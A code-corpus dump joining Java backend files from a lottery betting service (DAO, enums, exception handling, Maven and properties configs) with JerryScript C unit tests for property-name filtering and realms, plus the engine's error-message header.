List<String> simNum = new ArrayList<>(); for (int j = 0; j < betNum.length(); j++) { simNum.add(betNum.substring(j, j + 1)); } lists.add(simNum); } order.setBetContentProc(lists); String jo = JSON.toJSONString(order); System.out.println(jo); System.out.println(jo.getBytes().length); } } <file_sep>/venus-service/src/main/java/com/babel/venus/dao/db/UserOrderMapper.java package com.babel.venus.dao.db; import com.babel.forseti_order.model.UserOrderPO; import com.babel.venus.vo.UserOrderVo; import org.apache.ibatis.annotations.Param; import org.apache.ibatis.annotations.Select; import org.springframework.stereotype.Repository; import tk.mybatis.mapper.common.MapperMy; import java.util.List; /** * 会员注单 */ @Repository public interface UserOrderMapper extends MapperMy<UserOrderPO> { int insertByDate(@Param("param") UserOrderPO record); int batchInsert(@Param("list") List<UserOrderPO> orderPOs,@Param("pdate") String pdate); /** * 获取当期无效的追单数据 * @param vo * @return */ List<UserOrderPO> findOrders(@Param("param") UserOrderVo vo, @Param("pdate") String pdate); }<file_sep>/venus-api/src/main/java/com/babel/venus/enums/ProcessStatus.java package com.babel.venus.enums; import java.util.HashMap; import java.util.Map; /** * User: joey * Date: 2017/9/2 * Time: 20:32 * 数据操作的状态 */ public enum ProcessStatus { init(0), //初始化 failed(13), //失败 success(100); //成功 private static Map<Integer, ProcessStatus> map = new HashMap<>(); static { for (ProcessStatus obj : ProcessStatus.values()) { map.put(obj.status(), obj); } } private int status; ProcessStatus(int status) { this.status = status; } public int status() { return status; } public static ProcessStatus parse(int status) { return map.get(status); } } <file_sep>/venus-service/src/main/java/com/babel/venus/dao/mongo/base/BaseMongoDAOImpl.java package com.babel.venus.dao.mongo.base; import com.babel.venus.util.ReflectionUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.data.mongodb.core.MongoTemplate; import org.springframework.data.mongodb.core.query.Query; import org.springframework.data.mongodb.core.query.Update; import java.util.Collection; import java.util.List; public abstract class BaseMongoDAOImpl<T> implements BaseMongoDAO<T> { private static final Logger logger = LoggerFactory.getLogger(BaseMongoDAOImpl.class); @Override public List<T> find(Query query) { return getMongoTemplate().find(query, this.getEntityClass()); } public List<T> find(Query query, String collectionName) { return getMongoTemplate().find(query, this.getEntityClass(), collectionName); } @Override public T findOne(Query query) { return getMongoTemplate().findOne(query, this.getEntityClass()); } @Override public T update(Query query, Update update) { return getMongoTemplate().findAndModify(query, update, this.getEntityClass()); } @Override public T update(Query query, Update update, String collName) { return getMongoTemplate().findAndModify(query, update, this.getEntityClass(), collName); } @Override public T save(T entity) { getMongoTemplate().insert(entity); return entity; } @Override public <X> boolean save(Collection<X> objects, String collectionName) { try { getMongoTemplate().insert(objects, collectionName); return true; } catch (Exception e) { logger.error("--> mongoDao save error, collectionName : "+ collectionName,e); } return false; } @Override public T save(T entity, String collectionName) { getMongoTemplate().insert(entity, collectionName); return entity; } @Override public boolean batchSave(List<T> entities, String collectionName) { try { getMongoTemplate().insert(entities, collectionName); return true; } catch (Exception e) { logger.error("--> batchSave error, collectionName : " + collectionName, e); } return false; } @Override public T findById(String id) { return getMongoTemplate().findById(id, this.getEntityClass()); } @Override public T findById(String id, String collectionName) { return getMongoTemplate().findById(id, this.getEntityClass(), collectionName); } @Override public long count(Query query) { return getMongoTemplate().count(query, this.getEntityClass()); } /** * 获取需要操作的实体类class * * @return */ private Class<T> getEntityClass() { return ReflectionUtils.getSuperClassGenricType(getClass()); } public abstract MongoTemplate getMongoTemplate(); } <file_sep>/venus-api/pom.xml <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <artifactId>venus</artifactId> <groupId>com.babel.venus</groupId> <version>0.0.1-SNAPSHOT</version> </parent> <artifactId>venus-api</artifactId> <packaging>jar</packaging> <name>venus-api</name> <url>http://maven.apache.org</url> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> <version>1.16.10</version> </dependency> <dependency> <groupId>org.hibernate.javax.persistence</groupId> <artifactId>hibernate-jpa-2.1-api</artifactId> <version>1.0.0.Final</version> <scope>compile</scope> </dependency> <!--开奖jar--> <dependency> <groupId>com.bc.lottery</groupId> <artifactId>Lucifer-draw</artifactId> <version>1.0-SNAPSHOT</version> </dependency> <dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-commons</artifactId> <version>1.13.4.RELEASE</version> <exclusions> <exclusion> <groupId>*</groupId> <artifactId>*</artifactId> </exclusion> </exclusions> </dependency> <dependency> <artifactId>forseti-api</artifactId> <groupId>com.babel.forseti</groupId> <version>0.0.1-SNAPSHOT</version> <exclusions> <exclusion> <groupId>*</groupId> <artifactId>*</artifactId> </exclusion> </exclusions> </dependency> </dependencies> </project> <file_sep>/venus-service/src/test/resources/testResource/venus-db.properties mysql.crius.driver=com.mysql.jdbc.Driver mysql.venus.url=jdbc:mysql://192.168.0.253:8801/ares-config?useUnicode=true&amp;characterEncoding=utf-8&amp;autoReconnect=true mysql.venus.db.user=root mysql.venus.db.password=<PASSWORD> venus.mapper.path=classpath*:com/magic/crius/dao/crius/mapper/*.xml <file_sep>/venus-api/src/main/java/com/babel/venus/constants/MongoCollectionFlag.java package com.babel.venus.constants; /** * User: joey * Date: 2017/5/30 * Time: 15:57 * 数据插入失败的标识 */ public enum MongoCollectionFlag { MONGO_FAILED("failed"), //失败 PROC_SUC("proc"), //开奖成功 REPAIR("repair"); //需要修复 private String value; MongoCollectionFlag(String value) { this.value = value; } public String collName(String collection) { return collection + "_" + value; } public static String getDateName(String name, String pdate) { return name + "_" + pdate; } } <file_sep>/venus-web/src/main/resources/dev/venus-redis.properties #spring.redis.cluster.nodes=192.168.0.217:6379,192.168.0.225:6379,192.168.0.213:6379,192.168.0.223:6379,192.168.0.220:6379,192.168.0.226:6379 #spring.redis.timeout=15000 #spring.redis.pool.max-idle=10 #spring.redis.pool.max-wait=30 #spring.redis.pool.max-active=20 ## <file_sep>/venus-web/src/main/java/com/babel/venus/web/rest/errors/ExceptionTranslator.java package com.babel.venus.web.rest.errors; import com.alibaba.fastjson.JSON; import com.babel.common.core.data.RetData; import com.babel.common.core.exception.*; import com.babel.common.core.util.CommUtil; import com.babel.common.web.context.AppContext; import com.babel.venus.aop.logging.VenusLogAspect; import com.babel.venus.exception.VenusException; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.dao.ConcurrencyFailureException; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.security.access.AccessDeniedException; import org.springframework.validation.BindingResult; import org.springframework.validation.FieldError; import org.springframework.web.HttpRequestMethodNotSupportedException; import org.springframework.web.bind.MethodArgumentNotValidException; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind.annotation.ExceptionHandler; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.ResponseStatus; import javax.servlet.http.HttpServletRequest; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Set; /** * Controller advice to translate the server side exceptions to client-friendly json structures. */ @ControllerAdvice public class ExceptionTranslator { private final Logger log = LoggerFactory.getLogger(ExceptionTranslator.class); @ExceptionHandler(ConcurrencyFailureException.class) @ResponseStatus(HttpStatus.CONFLICT) @ResponseBody public ErrorVM processConcurrencyError(ConcurrencyFailureException ex) { return new ErrorVM(ErrorConstants.ERR_CONCURRENCY_FAILURE); } @ExceptionHandler(MethodArgumentNotValidException.class) @ResponseStatus(HttpStatus.BAD_REQUEST) @ResponseBody public ErrorVM processValidationError(MethodArgumentNotValidException ex) { BindingResult result = ex.getBindingResult(); List<FieldError> fieldErrors = result.getFieldErrors(); ErrorVM dto = new ErrorVM(ErrorConstants.ERR_VALIDATION); for (FieldError fieldError : fieldErrors) { dto.add(fieldError.getObjectName(), fieldError.getField(), fieldError.getCode()); } return dto; } @ExceptionHandler(CustomParameterizedException.class) @ResponseStatus(HttpStatus.BAD_REQUEST) @ResponseBody public ParameterizedErrorVM processParameterizedValidationError(CustomParameterizedException ex) { return ex.getErrorVM(); } @ExceptionHandler(AccessDeniedException.class) @ResponseStatus(HttpStatus.FORBIDDEN) @ResponseBody public ErrorVM processAccessDeniedException(AccessDeniedException e) { return new ErrorVM(ErrorConstants.ERR_ACCESS_DENIED, e.getMessage()); } @ExceptionHandler(HttpRequestMethodNotSupportedException.class) @ResponseBody @ResponseStatus(HttpStatus.METHOD_NOT_ALLOWED) public ErrorVM processMethodNotSupportedException(HttpRequestMethodNotSupportedException exception) { return new ErrorVM(ErrorConstants.ERR_METHOD_NOT_SUPPORTED, exception.getMessage()); } @ExceptionHandler(Exception.class) @ResponseBody public Map<String, Object> processException(HttpServletRequest request, Exception ex) { log.debug("---processException--req="+this.getRequestMap(request)); if (log.isDebugEnabled()) { log.warn("An unexpected error occurred: {}", ex.getMessage(), ex); } else { log.error("An unexpected error occurred: {}", ex.getMessage()); } int httpStatus = HttpStatus.INTERNAL_SERVER_ERROR.value(); Map<String, Object> errObj = getErrObj(VenusException.SYSTEM_CODE, httpStatus, "Internal server error!", "服务器内部错误!"); VenusLogAspect.errLog(request, httpStatus, JSON.toJSONString(errObj)); return errObj; } @ExceptionHandler(VenusException.class) @ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR) @ResponseBody public Map<String, Object> procVenusException(HttpServletRequest request, VenusException ex) { int httpStatus = HttpStatus.OK.value(); Map<String, Object> errObj = getErrObj(ex.getCode(), httpStatus, ex.getEnMsg(), ex.getCnMsg()); VenusLogAspect.errLog(request, httpStatus, JSON.toJSONString(errObj)); return errObj; } @ExceptionHandler(BaseException.class) @ResponseBody public ResponseEntity<RetData> processBaseException(HttpServletRequest request, BaseException ex){ RetData retData=RetData.createByBaseException(ex); log.error("---processBaseException--req="+this.getRequestMap(request)+"\n error=" + ex.getMessage()); if(ex instanceof InputErrException ||ex instanceof InputNullException ||ex instanceof NoPermissionException ||ex instanceof PasswordInvalidException){ return new ResponseEntity<>(retData, HttpStatus.BAD_REQUEST); } else{ return new ResponseEntity<>(retData, HttpStatus.INTERNAL_SERVER_ERROR); } } private Map<String, String> getParams(Map<String, String[]> reqParams){ Set<String> keys=reqParams.keySet(); Map<String, String> result=new HashMap<>(); String vString=null; for(String key:keys){ vString=CommUtil.concat(reqParams.get(key), ","); vString=CommUtil.getStringLimit(vString, 50);//参数自动截短 result.put(key, vString); } return result; } private Map<String, Object> getRequestMap(HttpServletRequest req){ Map<String, Object> reqMap=new HashMap<String, Object>(); if(req==null){ reqMap.put("request", null); return reqMap; } reqMap.put("sessionId", req.getSession().getId()); //获得request 相关信息 String contextpath=req.getContextPath(); // reqMap.put("contextpath", contextpath); String characterEncoding = req.getCharacterEncoding(); reqMap.put("characterEncoding", characterEncoding); String contentType = req.getContentType(); reqMap.put("contentType", contentType); String method = req.getMethod(); reqMap.put("method", method); reqMap.put("parameterMap", getParams(req.getParameterMap())); String protocol = req.getProtocol(); reqMap.put("protocol", protocol); String serverName = req.getServerName(); reqMap.put("serverName", serverName); // Cookie[] cookies = req.getCookies(); // reqMap.put("cookies", cookies); String servletPath = req.getServletPath(); reqMap.put("servletPath", servletPath); reqMap.put("remoteAddr", AppContext.getIpAddr(req)); String requestURI = req.getRequestURI(); reqMap.put("requestURI", requestURI); return reqMap; } private Map<String, Object> getErrObj(int code, int httpCode, String enMsg, String cnMsg) { Map<String, Object> result = new HashMap<>(); result.put("code", code); result.put("httpCode", httpCode); result.put("enMsg", enMsg); result.put("cnMsg", cnMsg); result.put("err", "FAILED"); return result; } } <file_sep>/venus-service/src/main/java/com/babel/venus/schedule/DrawWinJob.java //package com.babel.venus.schedule; // //import com.babel.common.core.util.DateUtils; //import com.babel.forseti.entity.PeriodDataPO; //import com.babel.forseti_order.dto.PeriodDataDTO; //import com.babel.venus.assemble.UserOrderAssemService; //import com.babel.venus.constants.VenusConstants; //import com.babel.venus.service.feign.VenusOutServerConsumer; //import org.slf4j.Logger; //import org.slf4j.LoggerFactory; //import org.springframework.scheduling.annotation.Scheduled; //import org.springframework.stereotype.Component; // //import javax.annotation.Resource; //import java.util.ArrayList; //import java.util.Date; //import java.util.List; //import java.util.Random; // ///** // * User: joey // * Date: 2017/10/5 // * Time: 17:03 // * 定时开奖 // */ //@Component //public class DrawWinJob { // // private static final Logger log = LoggerFactory.getLogger(DrawWinJob.class); // @Resource // private VenusOutServerConsumer venusOutServerConsumer; // @Resource // private UserOrderAssemService userOrderAssemService; // // /** // * 模拟定时获取奖源,定时开奖 // */ // @Scheduled(fixedRate = VenusConstants.three_minutes) // public void drawPrize() { // long timestamp = System.currentTimeMillis(); // List<PeriodDataDTO> list = venusOutServerConsumer.getPriodDataNewly(1L, null); // if (list != null && list.size() > 0) { // for (PeriodDataDTO dto : list) { // if (timestamp > dto.getStartTime() && timestamp < dto.getEndTime()) { // long endTime = dto.getEndTime() + 150_000; // boolean flag = true; // while (flag) { // try { // Thread.sleep(20000); // } catch (InterruptedException e) { // e.printStackTrace(); // } // long currentTime = System.currentTimeMillis(); // if (currentTime > endTime) { // flag = false; // log.info("start draw prize , pcode :{}, issue:{} , currentTime :{}, endTime:{}", dto.getPcode(), "cq_ssc", DateUtils.format(new Date(currentTime),DateUtils.SDF_FORMAT_DATETIME), DateUtils.format(new Date(endTime), DateUtils.SDF_FORMAT_DATETIME)); // userOrderAssemService.drawLottery(dto.getPcode(), "cq_ssc", null); // } // } // // } // } // } // } // // // //}
6c7de008fa43102f37e3815a6fca8edba29c3d83
[ "Java", "Maven POM", "INI" ]
27
Java
joey12492/Venus
c81a0b2259a9c4df08eeba26d52ee278781ac574
ecb6d2a92ce56e24bd6e8472fd86c878dadd9b6c
refs/heads/master
<file_sep>/* Copyright JS Foundation and other contributors, http://js.foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "jerryscript.h" #include "jerryscript-port.h" #include "jerryscript-port-default.h" #include "test-common.h" static const char *prop_names[] = { "val1", "val2", "val3", "val4", "val5", "37", "symbol" }; static jerry_char_t buffer[256] = { 0 }; static void create_and_set_property (const jerry_value_t object, const char *prop_name) { jerry_value_t jprop_name = jerry_create_string ((const jerry_char_t *) prop_name); jerry_value_t ret_val = jerry_set_property (object, jprop_name, jerry_create_undefined ()); jerry_release_value (jprop_name); jerry_release_value (ret_val); } /* create_and_set_property */ static void compare_prop_name (const jerry_value_t object, const char *prop_name, uint32_t idx) { jerry_value_t name = jerry_get_property_by_index (object, idx); TEST_ASSERT (jerry_value_is_string (name) || jerry_value_is_number (name)); if (jerry_value_is_string (name)) { jerry_size_t name_size = jerry_get_string_size (name); TEST_ASSERT (name_size < sizeof (buffer)); jerry_size_t ret_size = jerry_string_to_char_buffer (name, buffer, sizeof (buffer)); TEST_ASSERT (name_size == ret_size); buffer[name_size] = '\0'; TEST_ASSERT (strcmp ((const char *) buffer, prop_name) == 0); } else { TEST_ASSERT ((int) jerry_get_number_value (name) == atoi (prop_name)); } jerry_release_value (name); } /* compare_prop_name */ static void define_property (const jerry_value_t object, const char *prop_name, jerry_property_descriptor_t *prop_desc_p, bool is_symbol) { jerry_value_t jname = jerry_create_string ((const jerry_char_t *) prop_name); jerry_value_t ret_val; if (is_symbol) { jerry_value_t symbol = jerry_create_symbol (jname); ret_val = jerry_define_own_property (object, symbol, prop_desc_p); jerry_release_value (symbol); } else { ret_val = jerry_define_own_property (object, jname, prop_desc_p); } jerry_release_value (jname); jerry_release_value (ret_val); } /* define_property */ int main (void) { if (!jerry_is_feature_enabled (JERRY_FEATURE_SYMBOL)) { return 0; } TEST_INIT (); jerry_init (JERRY_INIT_EMPTY); jerry_value_t error_value = jerry_object_get_property_names (jerry_create_undefined (), JERRY_PROPERTY_FILTER_ALL); TEST_ASSERT (jerry_value_is_error (error_value) && jerry_get_error_type (error_value) == JERRY_ERROR_TYPE); jerry_release_value (error_value); jerry_value_t test_object = jerry_create_object (); create_and_set_property (test_object, prop_names[0]); create_and_set_property (test_object, prop_names[1]); jerry_value_t names; jerry_property_descriptor_t prop_desc = jerry_property_descriptor_create (); prop_desc.flags |= (JERRY_PROP_IS_CONFIGURABLE_DEFINED | JERRY_PROP_IS_CONFIGURABLE | JERRY_PROP_IS_WRITABLE_DEFINED | JERRY_PROP_IS_WRITABLE | JERRY_PROP_IS_ENUMERABLE_DEFINED); // Test enumerable - non-enumerable filter define_property (test_object, prop_names[2], &prop_desc, false); names = jerry_object_get_property_names (test_object, JERRY_PROPERTY_FILTER_ALL | JERRY_PROPERTY_FILTER_EXCLUDE_NON_ENUMERABLE); TEST_ASSERT (jerry_get_array_length (names) == (uint32_t) 2); jerry_release_value (names); names = jerry_object_get_property_names (test_object, JERRY_PROPERTY_FILTER_ALL); TEST_ASSERT (jerry_get_array_length (names) == (uint32_t) 3); compare_prop_name (names, prop_names[2], 2); jerry_release_value (names); prop_desc.flags |= JERRY_PROP_IS_ENUMERABLE; // Test configurable - non-configurable filter prop_desc.flags &= (uint16_t) ~JERRY_PROP_IS_CONFIGURABLE; define_property (test_object, prop_names[3], &prop_desc, false); names = jerry_object_get_property_names (test_object, JERRY_PROPERTY_FILTER_ALL | JERRY_PROPERTY_FILTER_EXCLUDE_NON_CONFIGURABLE); TEST_ASSERT (jerry_get_array_length (names) == (uint32_t) 3); jerry_release_value (names); names = jerry_object_get_property_names (test_object, JERRY_PROPERTY_FILTER_ALL); TEST_ASSERT (jerry_get_array_length (names) == (uint32_t) 4); compare_prop_name (names, prop_names[3], 3); jerry_release_value (names); prop_desc.flags |= JERRY_PROP_IS_CONFIGURABLE; // Test writable - non-writable filter prop_desc.flags &= (uint16_t) ~JERRY_PROP_IS_WRITABLE; define_property (test_object, prop_names[4], &prop_desc, false); names = jerry_object_get_property_names (test_object, JERRY_PROPERTY_FILTER_ALL | JERRY_PROPERTY_FILTER_EXCLUDE_NON_WRITABLE); TEST_ASSERT (jerry_get_array_length (names) == (uint32_t) 4); jerry_release_value (names); names = jerry_object_get_property_names (test_object, JERRY_PROPERTY_FILTER_ALL); TEST_ASSERT (jerry_get_array_length (names) == (uint32_t) 5); compare_prop_name (names, prop_names[4], 4); jerry_release_value (names); prop_desc.flags |= JERRY_PROP_IS_WRITABLE; // Test all property filter names = jerry_object_get_property_names (test_object, JERRY_PROPERTY_FILTER_ALL); jerry_length_t array_len = jerry_get_array_length (names); TEST_ASSERT (array_len == (uint32_t) 5); for (uint32_t i = 0; i < array_len; i++) { compare_prop_name (names, prop_names[i], i); } jerry_release_value (names); // Test number and string index exclusion define_property (test_object, prop_names[5], &prop_desc, false); names = jerry_object_get_property_names (test_object, JERRY_PROPERTY_FILTER_ALL | JERRY_PROPERTY_FILTER_EXCLUDE_STRINGS | JERRY_PROPERTY_FILTER_INTEGER_INDICES_AS_NUMBER); TEST_ASSERT (jerry_get_array_length (names) == (uint32_t) 1); compare_prop_name (names, prop_names[5], 0); jerry_release_value (names); names = jerry_object_get_property_names (test_object, JERRY_PROPERTY_FILTER_ALL | JERRY_PROPERTY_FILTER_EXCLUDE_INTEGER_INDICES); TEST_ASSERT (jerry_get_array_length (names) == (uint32_t) 5); jerry_release_value (names); // Test prototype chain traversion names = jerry_object_get_property_names (test_object, JERRY_PROPERTY_FILTER_ALL); TEST_ASSERT (jerry_get_array_length (names) == (uint32_t) 6); jerry_release_value (names); names = jerry_object_get_property_names (test_object, JERRY_PROPERTY_FILTER_ALL | JERRY_PROPERTY_FILTER_TRAVERSE_PROTOTYPE_CHAIN); TEST_ASSERT (jerry_get_array_length (names) == (uint32_t) 18); jerry_release_value (names); // Test symbol exclusion define_property (test_object, prop_names[6], &prop_desc, true); names = jerry_object_get_property_names (test_object, JERRY_PROPERTY_FILTER_ALL | JERRY_PROPERTY_FILTER_EXCLUDE_SYMBOLS); TEST_ASSERT (jerry_get_array_length (names) == (uint32_t) 6); jerry_release_value (names); names = jerry_object_get_property_names (test_object, JERRY_PROPERTY_FILTER_ALL); TEST_ASSERT (jerry_get_array_length (names) == (uint32_t) 7); jerry_release_value (names); jerry_property_descriptor_free (&prop_desc); jerry_release_value (test_object); jerry_cleanup (); return 0; } /* main */ <file_sep>/* Copyright JS Foundation and other contributors, http://js.foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "config.h" #ifndef ECMA_ERRORS_H #define ECMA_ERRORS_H #if JERRY_ERROR_MESSAGES extern const char * const ecma_error_value_msg_p; extern const char * const ecma_error_wrong_args_msg_p; #if !JERRY_PARSER extern const char * const ecma_error_parser_not_supported_p; #endif /* !JERRY_PARSER */ #if !JERRY_BUILTIN_JSON extern const char * const ecma_error_json_not_supported_p; #endif /* !JERRY_BUILTIN_JSON */ #if !JERRY_ESNEXT extern const char * const ecma_error_symbol_not_supported_p; extern const char * const ecma_error_promise_not_supported_p; #endif /* !JERRY_ESNEXT */ #if !JERRY_BUILTIN_TYPEDARRAY extern const char * const ecma_error_typed_array_not_supported_p; #endif /* !JERRY_BUILTIN_TYPEDARRAY */ #if !JERRY_BUILTIN_SHAREDARRAYBUFFER extern const char * const ecma_error_shared_arraybuffer_not_supported_p; #endif /* !JERRY_BUILTIN_SHAREDARRAYBUFFER */ #if !JERRY_BUILTIN_DATAVIEW extern const char * const ecma_error_data_view_not_supported_p; #endif /* !JERRY_BUILTIN_DATAVIEW */ #if !JERRY_BUILTIN_BIGINT extern const char * const ecma_error_bigint_not_supported_p; #endif /* !JERRY_BUILTIN_BIGINT */ #if !JERRY_BUILTIN_CONTAINER extern const char * const ecma_error_container_not_supported_p; #endif /* !JERRY_BUILTIN_CONTAINER */ #if JERRY_MODULE_SYSTEM extern const char * const ecma_error_not_module_p; extern const char * const ecma_error_unknown_export_p; #else /* !JERRY_MODULE_SYSTEM */ extern const char * const ecma_error_module_not_supported_p; #endif /* JERRY_MODULE_SYSTEM */ extern const char * const ecma_error_callback_is_not_callable; extern const char * const ecma_error_arraybuffer_is_detached; extern const char * const ecma_error_cannot_convert_to_object; extern const char * const ecma_error_class_is_non_configurable; extern const char * const ecma_error_argument_is_not_an_object; extern const int ecma_error_argument_is_not_an_object_length; extern const char * const ecma_error_argument_is_not_a_proxy; extern const char * const ecma_error_target_is_not_a_constructor; extern const char * const ecma_error_argument_is_not_an_regexp; extern const char * const ecma_error_invalid_array_length; extern const char * const ecma_error_local_variable_is_redeclared; extern const char * const ecma_error_expected_a_function; #if JERRY_ESNEXT extern const char * const ecma_error_class_constructor_new; extern const char * const ecma_error_let_const_not_initialized; #endif /* JERRY_ESNEXT */ #endif /* JERRY_ERROR_MESSAGES */ /* snapshot errors */ extern const char * const ecma_error_maximum_snapshot_size; extern const char * const ecma_error_regular_expression_not_supported; extern const char * const ecma_error_snapshot_buffer_small; extern const char * const ecma_error_snapshot_flag_not_supported; extern const char * const ecma_error_cannot_allocate_memory_literals; extern const char * const ecma_error_tagged_template_literals; #endif /* !ECMA_ERRORS_H */ <file_sep>/* Copyright JS Foundation and other contributors, http://js.foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "jerryscript.h" #include "test-common.h" static void create_number_property (jerry_value_t object_value, /**< object value */ char *name_p, /**< name */ double number) /**< value */ { jerry_value_t name_value = jerry_create_string ((const jerry_char_t *) name_p); jerry_value_t number_value = jerry_create_number (number); jerry_value_t result_value = jerry_set_property (object_value, name_value, number_value); TEST_ASSERT (!jerry_value_is_error (result_value)); jerry_release_value (result_value); jerry_release_value (number_value); jerry_release_value (name_value); } /* create_number_property */ static double get_number_property (jerry_value_t object_value, /**< object value */ char *name_p) /**< name */ { jerry_value_t name_value = jerry_create_string ((const jerry_char_t *) name_p); jerry_value_t result_value = jerry_get_property (object_value, name_value); TEST_ASSERT (!jerry_value_is_error (result_value)); TEST_ASSERT (jerry_value_is_number (result_value)); double result = jerry_get_number_value (result_value); jerry_release_value (result_value); jerry_release_value (name_value); return result; } /* get_number_property */ static double eval_and_get_number (char *script_p) /**< script source */ { jerry_value_t result_value; result_value = jerry_eval ((const jerry_char_t *) script_p, strlen (script_p), JERRY_PARSE_NO_OPTS); TEST_ASSERT (jerry_value_is_number (result_value)); double result = jerry_get_number_value (result_value); jerry_release_value (result_value); return result; } /* eval_and_get_number */ static void check_type_error (jerry_value_t result_value) /**< result value */ { TEST_ASSERT (jerry_value_is_error (result_value)); result_value = jerry_get_value_from_error (result_value, true); TEST_ASSERT (jerry_get_error_type (result_value) == JERRY_ERROR_TYPE); jerry_release_value (result_value); } /* check_type_error */ static void check_array_prototype (jerry_value_t realm_value, jerry_value_t result_value) { jerry_value_t name_value = jerry_create_string ((const jerry_char_t *) "Array"); jerry_value_t array_value = jerry_get_property (realm_value, name_value); TEST_ASSERT (jerry_value_is_object (array_value)); jerry_release_value (name_value); name_value = jerry_create_string ((const jerry_char_t *) "prototype"); jerry_value_t prototype_value = jerry_get_property (array_value, name_value); TEST_ASSERT (jerry_value_is_object (prototype_value)); jerry_release_value (name_value); jerry_release_value (array_value); jerry_value_t compare_value = jerry_binary_operation (JERRY_BIN_OP_STRICT_EQUAL, result_value, prototype_value); jerry_release_value (prototype_value); TEST_ASSERT (jerry_value_is_boolean (compare_value) && jerry_value_is_true (compare_value)); jerry_release_value (compare_value); } /* check_array_prototype */ /** * Unit test's main function. */ int main (void) { TEST_INIT (); jerry_init (JERRY_INIT_EMPTY); jerry_value_t global_value = jerry_get_global_object (); jerry_value_t result_value = jerry_realm_get_this (global_value); TEST_ASSERT (global_value == result_value); jerry_release_value (global_value); jerry_value_t number_value = jerry_create_number (3); check_type_error (jerry_realm_get_this (number_value)); jerry_release_value (number_value); if (!jerry_is_feature_enabled (JERRY_FEATURE_REALM)) { printf ("Skipping test, Realms not enabled\n"); return 0; } jerry_value_t realm_value = jerry_create_realm (); create_number_property (global_value, "a", 3.5); create_number_property (global_value, "b", 7.25); create_number_property (realm_value, "a", -1.25); create_number_property (realm_value, "b", -6.75); TEST_ASSERT (eval_and_get_number ("a") == 3.5); result_value = jerry_set_realm (realm_value); TEST_ASSERT (result_value == global_value); TEST_ASSERT (eval_and_get_number ("a") == -1.25); result_value = jerry_set_realm (global_value); TEST_ASSERT (result_value == realm_value); TEST_ASSERT (eval_and_get_number ("b") == 7.25); result_value = jerry_set_realm (realm_value); TEST_ASSERT (result_value == global_value); TEST_ASSERT (eval_and_get_number ("b") == -6.75); result_value = jerry_set_realm (global_value); TEST_ASSERT (result_value == realm_value); jerry_value_t object_value = jerry_create_object (); check_type_error (jerry_set_realm (object_value)); jerry_release_value (object_value); number_value = jerry_create_number (5); check_type_error (jerry_set_realm (number_value)); jerry_release_value (number_value); jerry_release_value (global_value); jerry_release_value (realm_value); realm_value = jerry_create_realm (); result_value = jerry_realm_get_this (realm_value); TEST_ASSERT (result_value == realm_value); jerry_release_value (result_value); result_value = jerry_set_realm (realm_value); TEST_ASSERT (!jerry_value_is_error (result_value)); object_value = jerry_create_object (); jerry_set_realm (result_value); number_value = jerry_create_number (7); check_type_error (jerry_realm_set_this (realm_value, number_value)); check_type_error (jerry_realm_set_this (number_value, object_value)); jerry_release_value (number_value); result_value = jerry_realm_set_this (realm_value, object_value); TEST_ASSERT (jerry_value_is_boolean (result_value) && jerry_value_is_true (result_value)); jerry_release_value (result_value); create_number_property (object_value, "x", 7.25); create_number_property (object_value, "y", 1.25); result_value = jerry_set_realm (realm_value); TEST_ASSERT (!jerry_value_is_error (result_value)); TEST_ASSERT (eval_and_get_number ("var z = -5.5; x + this.y") == 8.5); jerry_set_realm (result_value); TEST_ASSERT (get_number_property (object_value, "z") == -5.5); result_value = jerry_realm_get_this (realm_value); TEST_ASSERT (result_value == object_value); jerry_release_value (result_value); jerry_release_value (object_value); jerry_release_value (realm_value); if (jerry_is_feature_enabled (JERRY_FEATURE_PROXY)) { /* Check property creation. */ jerry_value_t handler_value = jerry_create_object (); jerry_value_t target_value = jerry_create_realm (); jerry_value_t proxy_value = jerry_create_proxy (target_value, handler_value); jerry_realm_set_this (target_value, proxy_value); jerry_release_value (proxy_value); jerry_release_value (handler_value); jerry_value_t old_realm_value = jerry_set_realm (target_value); TEST_ASSERT (!jerry_value_is_error (old_realm_value)); TEST_ASSERT (eval_and_get_number ("var z = 1.5; z") == 1.5); jerry_set_realm (old_realm_value); TEST_ASSERT (get_number_property (target_value, "z") == 1.5); jerry_release_value (target_value); /* Check isExtensible error. */ const char *script_p = "new Proxy({}, { isExtensible: function() { throw 42.5 } })"; proxy_value = jerry_eval ((const jerry_char_t *) script_p, strlen (script_p), JERRY_PARSE_NO_OPTS); TEST_ASSERT (!jerry_value_is_error (proxy_value) && jerry_value_is_object (proxy_value)); target_value = jerry_create_realm (); jerry_realm_set_this (target_value, proxy_value); jerry_release_value (proxy_value); 